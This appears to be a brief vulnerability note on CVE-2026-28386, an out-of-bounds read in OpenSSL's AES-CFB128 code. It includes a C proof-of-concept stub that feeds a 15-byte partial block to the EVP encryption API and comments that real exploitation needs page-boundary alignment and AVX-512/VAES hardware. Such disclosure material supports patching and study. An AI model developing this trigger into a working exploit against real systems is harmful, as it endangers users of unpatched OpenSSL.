CVE-2026-28386 OpenSSL AES-CFB128越界读取漏洞

/* * PoC Concept for CVE-2026-28386 * This code demonstrates the API usage that could trigger the vulnerability. * Actual exploitation requires specific memory alignment (page boundary) * and AVX-512/VAES enabled hardware. */ #include <stdio.h> #include <string.h> #include <openssl/evp.h> int main() { EVP_CIPHER_CTX *ctx; const EVP_CIPHER *cipher = EVP_aes_128_cfb128(); unsigned char key[16] = {0}; unsigned char iv[16] = {0}; // Input buffer designed to trigger partial block processing // In a real exploit, this would be allocated at a page boundary unsigned char in[15] = {0}; unsigned char out[16]; int outlen; ctx = EVP_CIPHER_CTX_new(); EVP_EncryptInit_ex(ctx, cipher, NULL, key, iv); // Update with partial block (less than block size) // If the buffer 'in' ends at a page boundary and next page is unmapped, // this may trigger the out-of-bounds read. if (!EVP_EncryptUpdate(ctx, out, &outlen, in, 15)) { printf("Error during update\n"); } EVP_EncryptFinal_ex(ctx, out + outlen, &outlen); EVP_CIPHER_CTX_free(ctx); return 0; }